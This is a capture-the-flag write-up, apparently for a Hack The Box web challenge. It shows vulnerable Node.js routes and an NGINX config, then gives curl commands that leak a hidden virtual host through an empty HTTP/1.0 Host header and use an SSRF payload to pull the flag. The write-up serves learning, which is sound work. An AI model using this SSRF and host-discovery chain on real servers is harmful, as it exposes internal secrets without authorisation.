Challenge Overview

This challenge demonstrates an attack chain involving a Server-Side Request Forgery (SSRF) combined with an NGINX virtual host misconfiguration to retrieve a flag from environment variables. The vulnerability exploits improper host routing and leverages internal network access to expose sensitive application secrets.

Application Structure

The Node.js Express application exposes three main routes:

  1. /alley - Renders the main index page
  2. /think - Returns all incoming HTTP headers as JSON
  3. /guardian - Main vulnerability endpoint requiring a quote parameter

routes/guardian.js

const node_fetch = require("node-fetch");
const router = require("express").Router();

router.get("/alley", async (_, res) => {
  res.render("index");
});

router.get("/think", async (req, res) => {
  return res.json(req.headers);
});

router.get("/guardian", async (req, res) => {
  const quote = req.query.quote;

  if (!quote) return res.render("guardian");

  try {
    const location = new URL(quote);
    const direction = location.hostname;
    if (!direction.endsWith("localhost") && direction !== "localhost")
      return res.send("guardian", {
        error: "You are forbidden from talking with me.",
      });
  } catch (error) {
    return res.render("guardian", { error: "My brain circuits are mad." });
  }

  try {
    let result = await node_fetch(quote, {
      method: "GET",
      headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
    }).then((res) => res.text());

    res.set("Content-Type", "text/plain");

    res.send(result);
  } catch (e) {
    console.error(e);
    return res.render("guardian", {
      error: "The words are lost in my circuits",
    });
  }
});

module.exports = router;

The /guardian endpoint performs the following operations:

  • Validates that the quote parameter contains a URL pointing to localhost
  • Makes an internal HTTP request to the specified URL
  • Includes the flag as a Key header in the internal request
  • Returns the response from the internal request

NGINX Configuration Analysis

The NGINX reverse proxy configuration reveals two virtual hosts:

server {
        listen 80 default_server;
        server_name alley.$SECRET_ALLEY;

    location / {
        root /var/www/html/;  
        index index.html;              
    }

        location /alley {
                        proxy_pass http://localhost:1337;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;
        }

        location /think  { 
                        proxy_pass http://localhost:1337;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;

                        }
}

server {
        listen 80;
                server_name guardian.$SECRET_ALLEY;

        location /guardian {
                        proxy_pass http://localhost:1337;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;
        }
}

The configuration shows that:

  • /guardian is only accessible via the guardian.$SECRET_ALLEY hostname
  • The $SECRET_ALLEY value is unknown and must be discovered

Initial Access Attempts

Direct access to /guardian fails due to virtual host restrictions:

curl http://94.237.57.1:39275/guardian

// Returns: 404 Not Found

However, /think is accessible and reveals header information:

curl http://94.237.57.1:39275/think

{"host":"94.237.57.1","x-real-ip":"10.30.18.146","x-forwarded-for":"10.30.18.146","x-forwarded-proto":"http","connection":"close","user-agent":"curl/8.16.0","accept":"*/*"}

HTTP/1.0 Empty Host Header Technique

The breakthrough came from exploiting a well-documented NGINX behavior when processing requests with empty Host headers. According to the official NGINX documentation on server name processing, when a request lacks a Host header or contains an empty Host header, NGINX routes the request to the default server.

When NGINX receives a request without a Host header field or with an empty Host header, it routes the request to the default server for that port.

Using HTTP/1.0 with an empty Host header:

curl --http1.0 -H "Host:" http://94.237.57.1:39275/think

This technique leverages the fact that in HTTP/1.0, the Host header is not mandatory, and some server configurations handle empty Host headers by falling back to the default server configuration. This behavior is documented in various security resources:

The HTTP/1.0 request with empty Host header returned:

{
  "host": "alley.firstalleyontheleft.com",
  "x-real-ip": "10.30.18.146",
  "x-forwarded-for": "10.30.18.146",
  "x-forwarded-proto": "http",
  "connection": "close",
  "user-agent": "curl/8.16.0",
  "accept": "*/*"
}

This revealed that $SECRET_ALLEY = firstalleyontheleft.com, making the guardian endpoint accessible at guardian.firstalleyontheleft.com.

Step 1: Verify Guardian Access

curl -H "Host: guardian.firstalleyontheleft.com" "http://94.237.57.1:39275/guardian" -I

// Returns: 200 OK

Step 2: SSRF Exploitation

The exploit combines two vulnerabilities:

  1. SSRF in /guardian - Allows making internal requests to localhost
  2. Information disclosure in /think - Returns all HTTP headers, including the flag

The attack payload:

curl -H "Host: guardian.firstalleyontheleft.com" "http://94.237.57.1:39275/guardian?quote=http://localhost:1337/think"

Step 3: Flag Extraction

The SSRF payload works as follows:

  1. The /guardian endpoint receives quote=http://localhost:1337/think
  2. It validates the hostname (localhost)
  3. Makes an internal request: GET http://localhost:1337/think with headers { Key: "HTB{FLAG}" }
  4. The /think endpoint receives this internal request and returns all headers as JSON
  5. The response includes the flag in the key field

Response:

{
  "key": "HTB{REDACTED}",
  "accept": "*/*",
  "user-agent": "node-fetch/1.0 (+https://github.com/bitinn/node-fetch)",
  "accept-encoding": "gzip,deflate",
  "connection": "close",
  "host": "localhost:1337"
}

written by 0xbara